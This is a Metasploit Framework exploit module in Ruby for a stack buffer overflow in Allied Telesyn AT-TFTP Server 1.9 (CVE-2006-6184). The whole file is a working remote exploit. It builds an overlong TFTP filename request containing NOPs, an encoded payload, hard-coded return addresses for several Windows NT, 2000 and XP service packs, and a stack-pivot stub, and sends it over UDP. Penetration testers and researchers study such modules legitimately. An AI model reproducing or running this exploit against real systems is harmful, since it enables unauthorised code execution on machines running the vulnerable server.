Allied Telesyn TFTP Server 1.9 Long Filename Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',  
'Description' => %q{  
This module exploits a stack overflow in AT-TFTP v1.9, by sending a  
request (get/write) for an overly long file name.  
},  
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2006-6184'],  
['OSVDB', '11350'],  
['BID', '21320'],  
['URL','http://milw0rm.com/exploits/2887'],  
['URL', 'ftp://guest:[email protected]/pub/utilities/at-tftpd.exe'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 210,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24  
[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],  
[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],  
[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],  
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],  
[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],  
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],  
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 27 2006'))  
  
register_options(  
[  
Opt::RPORT(69),  
Opt::LHOST() # Required for stack offset  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def exploit  
connect_udp  
  
sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)  
sploit << payload.encoded  
sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.  
sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn  
sploit << "\x00" + "netascii" + "\x00"  
  
udp_sock.put(sploit)  
  
disconnect_udp  
end  
  
end  
`